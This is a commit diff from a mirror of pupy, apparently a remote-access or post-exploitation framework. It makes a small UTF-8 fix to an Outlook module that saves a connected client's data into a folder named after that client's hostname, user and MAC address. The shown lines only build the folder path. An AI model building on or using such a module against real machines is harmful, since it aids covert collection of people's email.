mirror of https://github.com/n1nj4sec/pupy.git
Bug fix with utf-8
This commit is contained in:
parent
35479a0f0b
commit
1c56044ff1
|
@ -39,7 +39,7 @@ class Outlook(PupyModule):
|
||||||
'''
|
'''
|
||||||
self.client.load_package("outlook")
|
self.client.load_package("outlook")
|
||||||
localFolder=args.localOutputFolder
|
localFolder=args.localOutputFolder
|
||||||
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':','')))
|
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':','')))
|
||||||
if not os.path.exists(self.localFolder):
|
if not os.path.exists(self.localFolder):
|
||||||
logging.debug("Creating the {0} folder locally".format(self.localFolder))
|
logging.debug("Creating the {0} folder locally".format(self.localFolder))
|
||||||
os.makedirs(self.localFolder)
|
os.makedirs(self.localFolder)
|
||||||
|
|
Loading…
Reference in New Issue